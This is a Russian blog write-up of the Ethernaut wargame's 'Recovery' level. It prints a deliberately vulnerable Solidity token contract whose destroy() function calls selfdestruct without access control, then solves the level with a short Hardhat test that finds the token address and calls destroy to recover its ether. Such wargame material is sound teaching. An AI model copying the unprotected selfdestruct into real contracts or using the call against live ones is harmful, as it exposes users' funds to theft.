Серия «Этернаут» — уровень 17 (восстановление)


УРОВЕНЬ 17 (восстановление):

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Recovery {

  //generate tokens
  function generateToken(string memory _name, uint256 _initialSupply) public {
    new SimpleToken(_name, msg.sender, _initialSupply);

  }
}

contract SimpleToken {

  using SafeMath for uint256;
  // public variables
  string public name;
  mapping (address => uint) public balances;

  // constructor
  constructor(string memory _name, address _creator, uint256 _initialSupply) public {
    name = _name;
    balances[_creator] = _initialSupply;
  }

  // collect ether in return for tokens
  receive() external payable {
    balances[msg.sender] = msg.value.mul(10);
  }

  // allow transfers of tokens
  function transfer(address _to, uint _amount) public { 
    require(balances[msg.sender] >= _amount);
    balances[msg.sender] = balances[msg.sender].sub(_amount);
    balances[_to] = _amount;
  }

  // clean up after ourselves
  function destroy(address payable _to) public {
    selfdestruct(_to);
  }
}
Войдите в полноэкранный режим Выход из полноэкранного режима

Требования к сдаче экзаменов

Найдите адрес токена и получите 0,001 ETH

Ключевые моменты

1. Ознакомьтесь с сайтом https://rinkeby.etherscan.io/
2. роль самоуничтожения

Решение

Транзакции блокчейна записываются на цепочке и могут быть просмотрены с помощью соответствующих инструментов, таких как etherscan.io
Найдите соответствующую внутреннюю транзакцию на сайте по адресу экземпляра (адрес, где был создан контракт и переведено 0,001 ETH), который является адресом контракта, а затем вызовите destroy по этому адресу

  it("attacks", async function () {
    //真实的SimpleToken地址可以通过https://rinkeby.etherscan.io/
    //查询对应的instance的事务里面的创建合同,并往哪个地址转了0.001ETH,就是那个合同地址
    const tokenAddress = levelContract.address;
    const contract = await ethers.getContractAt("SimpleToken", tokenAddress);
    await contract.connect(levelOwner).destroy(player.address);
  });
Войдите в полноэкранный режим Выход из полноэкранного режима

Оцените статью
Procodings.ru
Добавить комментарий